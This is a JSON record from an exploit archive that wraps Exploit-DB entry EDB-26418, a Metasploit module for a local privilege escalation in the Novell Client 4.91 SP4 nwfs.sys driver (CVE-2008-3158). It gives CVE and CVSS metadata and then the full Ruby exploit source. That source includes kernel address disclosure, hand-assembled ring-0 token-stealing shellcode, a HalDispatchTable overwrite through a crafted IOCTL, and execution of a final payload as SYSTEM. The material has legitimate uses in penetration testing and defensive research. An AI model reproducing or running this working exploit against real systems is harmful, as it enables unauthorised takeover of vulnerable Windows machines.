{"exploit":{"id":"EDB-26418","name":"Novell Client 4.91 SP4 - 'nwfs.sys' Local Privilege Escalation (LPE) (Metasploit)","description":"Novell Client 4.91 SP4 - 'nwfs.sys' Local Privilege Escalation (LPE) (Metasploit)","cves":["CVE-2008-3158"],"author":"Metasploit","published":"2013-06-24","platform":"windows","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/26418","path":"exploits/windows/local/26418.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-26418.rb","vulnerabilities":[{"id":"CVE-2008-3158","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in NWFS.SYS in Novell Client for Windows 4.91 SP4 has unknown impact and attack vectors, possibly related to IOCTL requests that overwrite arbitrary memory.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-3158","cvss":{"version":"2.0","baseScore":6.9,"severity":"medium","vectorString":"AV:L/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-3158"},"updatedAt":"2024-08-07T09:28:41.827Z","retrievedAt":"2026-11-27T07:09:22.024Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-26418.png?v=2","url":"https://exploitbin.com/exploits/EDB-26418","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-26418/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-26418/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# web site for more information on licensing and terms of use.\n#   http://metasploit.com/\n##\n\nrequire 'msf/core'\nrequire 'rex'\nrequire 'msf/core/post/common'\nrequire 'msf/core/post/windows/priv'\n\nclass Metasploit3 < Msf::Exploit::Local\n  Rank = AverageRanking\n\n  include Msf::Post::Common\n  include Msf::Post::Windows::Priv\n\n  def initialize(info={})\n    super(update_info(info, {\n      'Name'          => 'Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation',\n      'Description'    => %q{\n        This module exploits a flaw in the nwfs.sys driver to overwrite data in kernel\n        space. The corruption occurs while handling ioctl requests with code 0x1438BB,\n        where a 0x00000009 dword is written to an arbitrary address. An entry within the\n        HalDispatchTable is overwritten in order to execute arbitrary code when\n        NtQueryIntervalProfile is called. The module has been tested successfully on\n        Windows XP SP3 with Novell Client 4.91 SP4.\n      },\n      'License'       => MSF_LICENSE,\n      'Author'        =>\n        [\n          'Ruben Santamarta', # Vulnerability discovery and PoC\n          'juan vazquez' # MSF module\n        ],\n      'Arch'          => ARCH_X86,\n      'Platform'      => 'win',\n      'SessionTypes'  => [ 'meterpreter' ],\n      'DefaultOptions' =>\n        {\n          'EXITFUNC' => 'thread',\n        },\n      'Targets'       =>\n        [\n          # Tested with nwfs.sys 4.91.4.7 as installed with Novell Client 4.91 SP4\n          [ 'Automatic', { } ],\n          [ 'Windows XP SP3',\n            {\n              'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates\n              '_KPROCESS' => \"\\x44\", # Offset to _KPROCESS from a _ETHREAD struct\n              '_TOKEN' => \"\\xc8\",    # Offset to TOKEN from the _EPROCESS struct\n              '_UPID' => \"\\x84\",     # Offset to UniqueProcessId FROM the _EPROCESS struct\n              '_APLINKS' => \"\\x88\"   # Offset to ActiveProcessLinks _EPROCESS struct\n            }\n          ]\n        ],\n      'References'    =>\n        [\n          [ 'OSVDB', '46578' ],\n          [ 'BID', '30001' ],\n          [ 'URL', 'http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5028543.html' ]\n        ],\n      'DisclosureDate'=> 'Jun 26 2008',\n      'DefaultTarget' => 0\n    }))\n\n  end\n\n  def add_railgun_functions\n    session.railgun.add_function(\n      'ntdll',\n      'NtAllocateVirtualMemory',\n      'DWORD',\n      [\n        [\"DWORD\", \"ProcessHandle\", \"in\"],\n        [\"PBLOB\", \"BaseAddress\", \"inout\"],\n        [\"PDWORD\", \"ZeroBits\", \"in\"],\n        [\"PBLOB\", \"RegionSize\", \"inout\"],\n        [\"DWORD\", \"AllocationType\", \"in\"],\n        [\"DWORD\", \"Protect\", \"in\"]\n      ])\n\n    session.railgun.add_function(\n      'ntdll',\n      'NtDeviceIoControlFile',\n      'DWORD',\n      [\n        [ \"DWORD\", \"FileHandle\", \"in\" ],\n        [ \"DWORD\", \"Event\", \"in\" ],\n        [ \"DWORD\", \"ApcRoutine\", \"in\" ],\n        [ \"DWORD\", \"ApcContext\", \"in\" ],\n        [ \"PDWORD\", \"IoStatusBlock\", \"out\" ],\n        [ \"DWORD\", \"IoControlCode\", \"in\" ],\n        [ \"LPVOID\", \"InputBuffer\", \"in\" ],\n        [ \"DWORD\", \"InputBufferLength\", \"in\" ],\n        [ \"LPVOID\", \"OutputBuffer\", \"in\" ],\n        [ \"DWORD\", \"OutPutBufferLength\", \"in\" ]\n      ])\n\n    session.railgun.add_function(\n      'ntdll',\n      'NtQueryIntervalProfile',\n      'DWORD',\n      [\n        [ \"DWORD\", \"ProfileSource\", \"in\" ],\n        [ \"PDWORD\", \"Interval\", \"out\" ]\n      ])\n    session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')\n    session.railgun.add_function(\n      'psapi',\n      'EnumDeviceDrivers',\n      'BOOL',\n      [\n        [\"PBLOB\", \"lpImageBase\", \"out\"],\n        [\"DWORD\", \"cb\", \"in\"],\n        [\"PDWORD\", \"lpcbNeeded\", \"out\"]\n      ])\n    session.railgun.add_function(\n      'psapi',\n      'GetDeviceDriverBaseNameA',\n      'DWORD',\n      [\n        [\"LPVOID\", \"ImageBase\", \"in\"],\n        [\"PBLOB\", \"lpBaseName\", \"out\"],\n        [\"DWORD\", \"nSize\", \"in\"]\n      ])\n  end\n\n  def open_device(dev)\n\n    invalid_handle_value = 0xFFFFFFFF\n\n    r = session.railgun.kernel32.CreateFileA(dev, \"GENERIC_READ\", 0x3, nil, \"OPEN_EXISTING\", \"FILE_ATTRIBUTE_READONLY\", 0)\n\n    handle = r['return']\n\n    if handle == invalid_handle_value\n      return nil\n    end\n\n    return handle\n  end\n\n  def find_sys_base(drvname)\n    results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)\n    addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack(\"L*\")\n\n    addresses.each do |address|\n      results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)\n      current_drvname = results['lpBaseName'][0..results['return'] - 1]\n      if drvname == nil\n        if current_drvname.downcase.include?('krnl')\n          return [address, current_drvname]\n        end\n      elsif drvname == results['lpBaseName'][0..results['return'] - 1]\n        return [address, current_drvname]\n      end\n    end\n\n    return nil\n  end\n\n  def execute_shellcode(shell_addr)\n\n    vprint_status(\"Creating the thread to execute the shellcode...\")\n    ret = session.railgun.kernel32.CreateThread(nil, 0, shell_addr, nil, \"CREATE_SUSPENDED\", nil)\n    if ret['return'] < 1\n      vprint_error(\"Unable to CreateThread\")\n      return nil\n    end\n    hthread = ret['return']\n\n    vprint_status(\"Resuming the Thread...\")\n    ret = client.railgun.kernel32.ResumeThread(hthread)\n    if ret['return'] < 1\n      vprint_error(\"Unable to ResumeThread\")\n      return nil\n    end\n\n    return true\n  end\n\n  def ring0_shellcode(t)\n    restore_ptrs =  \"\\x31\\xc0\"                                                # xor eax, eax\n    restore_ptrs << \"\\xb8\" + [ @addresses[\"HaliQuerySystemInfo\"] ].pack(\"L\")  # mov eax, offset hal!HaliQuerySystemInformation\n    restore_ptrs << \"\\xa3\" + [ @addresses[\"halDispatchTable\"] + 4 ].pack(\"L\") # mov dword ptr [nt!HalDispatchTable+0x4], eax\n\n    tokenstealing =  \"\\x52\"                                                   # push edx                         # Save edx on the stack\n    tokenstealing << \"\\x53\"                                                   # push ebx                         # Save ebx on the stack\n    tokenstealing << \"\\x33\\xc0\"                                               # xor eax, eax                     # eax = 0\n    tokenstealing << \"\\x64\\x8b\\x80\\x24\\x01\\x00\\x00\"                           # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD\n    tokenstealing << \"\\x8b\\x40\" + t['_KPROCESS']                              # mov eax, dword ptr [eax+44h]     # Retrieve _KPROCESS\n    tokenstealing << \"\\x8b\\xc8\"                                               # mov ecx, eax\n    tokenstealing << \"\\x8b\\x98\" + t['_TOKEN'] + \"\\x00\\x00\\x00\"                # mov ebx, dword ptr [eax+0C8h]    # Retrieves TOKEN\n    tokenstealing << \"\\x8b\\x80\" + t['_APLINKS'] + \"\\x00\\x00\\x00\"              # mov eax, dword ptr [eax+88h]  <====| # Retrieve FLINK from ActiveProcessLinks\n    tokenstealing << \"\\x81\\xe8\" + t['_APLINKS'] + \"\\x00\\x00\\x00\"              # sub eax,88h                        | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks\n    tokenstealing << \"\\x81\\xb8\" + t['_UPID'] + \"\\x00\\x00\\x00\\x04\\x00\\x00\\x00\" # cmp dword ptr [eax+84h], 4         | # Compares UniqueProcessId with 4 (The System Process on Windows XP)\n    tokenstealing << \"\\x75\\xe8\"                                               # jne 0000101e ======================\n    tokenstealing << \"\\x8b\\x90\" + t['_TOKEN'] + \"\\x00\\x00\\x00\"                # mov edx,dword ptr [eax+0C8h]     # Retrieves TOKEN and stores on EDX\n    tokenstealing << \"\\x8b\\xc1\"                                               # mov eax, ecx                     # Retrieves KPROCESS stored on ECX\n    tokenstealing << \"\\x89\\x90\" + t['_TOKEN'] + \"\\x00\\x00\\x00\"                # mov dword ptr [eax+0C8h],edx     # Overwrites the TOKEN for the current KPROCESS\n    tokenstealing << \"\\x5b\"                                                   # pop ebx                          # Restores ebx\n    tokenstealing << \"\\x5a\"                                                   # pop edx                          # Restores edx\n    tokenstealing << \"\\xc2\\x10\"                                               # ret 10h                          # Away from the kernel!\n\n    ring0_shellcode = restore_ptrs + tokenstealing\n    return ring0_shellcode\n  end\n\n  def fill_memory(proc, address, length, content)\n\n    result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack(\"L\"), nil, [ length ].pack(\"L\"), \"MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN\", \"PAGE_EXECUTE_READWRITE\")\n\n    if not proc.memory.writable?(address)\n      vprint_error(\"Failed to allocate memory\")\n      return nil\n    else\n      vprint_good(\"#{address} is now writable\")\n    end\n\n    result = proc.memory.write(address, content)\n\n    if result.nil?\n      vprint_error(\"Failed to write contents to memory\")\n      return nil\n    else\n      vprint_good(\"Contents successfully written to 0x#{address.to_s(16)}\")\n    end\n\n    return address\n  end\n\n  def disclose_addresses(t)\n    addresses = {}\n\n    vprint_status(\"Getting the Kernel module name...\")\n    kernel_info = find_sys_base(nil)\n    if kernel_info.nil?\n      vprint_error(\"Failed to disclose the Kernel module name\")\n      return nil\n    end\n    vprint_good(\"Kernel module found: #{kernel_info[1]}\")\n\n    vprint_status(\"Getting a Kernel handle...\")\n    kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)\n    kernel32_handle = kernel32_handle['return']\n    if kernel32_handle == 0\n      vprint_error(\"Failed to get a Kernel handle\")\n      return nil\n    end\n    vprint_good(\"Kernel handle acquired\")\n\n\n    vprint_status(\"Disclosing the HalDispatchTable...\")\n    hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, \"HalDispatchTable\")\n    hal_dispatch_table = hal_dispatch_table['return']\n    if hal_dispatch_table == 0\n      vprint_error(\"Failed to disclose the HalDispatchTable\")\n      return nil\n    end\n    hal_dispatch_table -= kernel32_handle\n    hal_dispatch_table += kernel_info[0]\n    addresses[\"halDispatchTable\"] = hal_dispatch_table\n    vprint_good(\"HalDispatchTable found at 0x#{addresses[\"halDispatchTable\"].to_s(16)}\")\n\n    vprint_status(\"Getting the hal.dll Base Address...\")\n    hal_info = find_sys_base(\"hal.dll\")\n    if hal_info.nil?\n      vprint_error(\"Failed to disclose hal.dll Base Address\")\n      return nil\n    end\n    hal_base = hal_info[0]\n    vprint_good(\"hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}\")\n\n    hali_query_system_information = hal_base + t['HaliQuerySystemInfo']\n    addresses[\"HaliQuerySystemInfo\"] = hali_query_system_information\n\n    vprint_good(\"HaliQuerySystemInfo Address disclosed at 0x#{addresses[\"HaliQuerySystemInfo\"].to_s(16)}\")\n    return addresses\n  end\n\n\n  def exploit\n\n    vprint_status(\"Adding the railgun stuff...\")\n    add_railgun_functions\n\n    if sysinfo[\"Architecture\"] =~ /wow64/i\n      fail_with(Exploit::Failure::NoTarget, \"Running against WOW64 is not supported\")\n    elsif sysinfo[\"Architecture\"] =~ /x64/\n      fail_with(Exploit::Failure::NoTarget, \"Running against 64-bit systems is not supported\")\n    end\n\n    my_target = nil\n    if target.name =~ /Automatic/\n      print_status(\"Detecting the target system...\")\n      os = sysinfo[\"OS\"]\n      print_status(\"#{os.inspect}\")\n      if os =~ /windows xp/i\n        my_target = targets[1]\n        print_status(\"Running against #{my_target.name}\")\n      end\n    else\n      my_target = target\n    end\n\n    if my_target.nil?\n      fail_with(Exploit::Failure::NoTarget, \"Remote system not detected as target, select the target manually\")\n    end\n\n    print_status(\"Checking device...\")\n    handle = open_device(\"\\\\\\\\.\\\\nwfs\")\n    if handle.nil?\n      fail_with(Exploit::Failure::NoTarget, \"\\\\\\\\.\\\\nwfs device not found\")\n    else\n      print_good(\"\\\\\\\\.\\\\nwfs found!\")\n    end\n\n    print_status(\"Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...\")\n    @addresses = disclose_addresses(my_target)\n    if @addresses.nil?\n      session.railgun.kernel32.CloseHandle(handle)\n      fail_with(Exploit::Failure::Unknown, \"Filed to disclose necessary addresses for exploitation. Aborting.\")\n    else\n      print_good(\"Addresses successfully disclosed.\")\n    end\n\n\n    print_status(\"Storing the kernel stager on memory...\")\n    this_proc = session.sys.process.open\n    kernel_shell = ring0_shellcode(my_target)\n    kernel_shell_address = 0x1000\n    result = fill_memory(this_proc, kernel_shell_address, 0x1000, kernel_shell)\n    if result.nil?\n      session.railgun.kernel32.CloseHandle(handle)\n      fail_with(Exploit::Failure::Unknown, \"Error while storing the kernel stager shellcode on memory\")\n    else\n      print_good(\"Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}\")\n    end\n\n    print_status(\"Storing the trampoline to the kernel stager on memory...\")\n    trampoline = \"\\x90\" * 0x20       # nops\n    trampoline << \"\\x68\"             # push opcode\n    trampoline << [0x1000].pack(\"V\") # address to push\n    trampoline << \"\\xc3\"             # ret\n    trampoline_addr = 0x3\n    result = fill_memory(this_proc, trampoline_addr, 0x1000, trampoline)\n    if result.nil?\n      session.railgun.kernel32.CloseHandle(handle)\n      fail_with(Exploit::Failure::Unknown, \"Error while storing trampoline on memory\")\n    else\n      print_good(\"Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}\")\n    end\n\n    print_status(\"Triggering the vulnerability, corrupting the HalDispatchTable...\")\n    magic_ioctl = 0x1438BB\n    ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, @addresses[\"halDispatchTable\"] + 0x4, 0x10, 0, 0)\n    session.railgun.kernel32.CloseHandle(handle)\n\n    print_status(\"Executing the Kernel Stager throw NtQueryIntervalProfile()...\")\n    result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)\n\n    print_status(\"Checking privileges after exploitation...\")\n\n    if not is_system?\n      fail_with(Exploit::Failure::Unknown, \"The exploitation wasn't successful\")\n    else\n      print_good(\"Exploitation successful!\")\n    end\n\n    print_status(\"Storing the final payload on memory...\")\n    shell_address = 0x0c0c0000\n    result = fill_memory(this_proc, shell_address, 0x1000, payload.encoded)\n    if result.nil?\n      fail_with(Exploit::Failure::Unknown, \"Error while storing the final payload on memory\")\n    else\n      print_good(\"Final payload successfully stored at 0x#{shell_address.to_s(16)}\")\n    end\n\n    print_status(\"Executing the payload...\")\n    result = execute_shellcode(shell_address)\n    if result.nil?\n      fail_with(Exploit::Failure::Unknown, \"Error while executing the payload\")\n    else\n      print_good(\"Enjoy!\")\n    end\n\n  end\n\nend\n\n=begin\n\n[*] Corruption\n\n.text:0005512E sub_5512E       proc near               ; CODE XREF: ioctl_handler_sub_2FE4C+295\u0018p\n.text:0005512E                                         ; sub_405C4+29B\u0018p\n.text:0005512E\n.text:0005512E ms_exc          = CPPEH_RECORD ptr -18h\n.text:0005512E arg_0           = dword ptr  8\n.text:0005512E\n.text:0005512E                 push    8\n.text:00055130                 push    offset stru_79268\n.text:00055135                 call    __SEH_prolog\n.text:0005513A                 xor     eax, eax\n.text:0005513C                 mov     ecx, [ebp+arg_0]\n.text:0005513F                 mov     ecx, [ecx+0Ch]\n.text:00055142                 mov     ecx, [ecx+60h]\n.text:00055145                 mov     ecx, [ecx+10h]\n.text:00055148                 mov     [ebp+ms_exc.registration.TryLevel], eax\n.text:0005514B                 mov     dword ptr [ecx], 9 // Corruption\n\n=end","sha256":"15c53d19f1b67293367f987c417a82a58298faba6763a1e100a4ffc9378843e0","bytes":15773,"fetchedAt":"2026-11-27T07:09:20.230Z","encoding":"utf-8 (display only; download retains original bytes)"}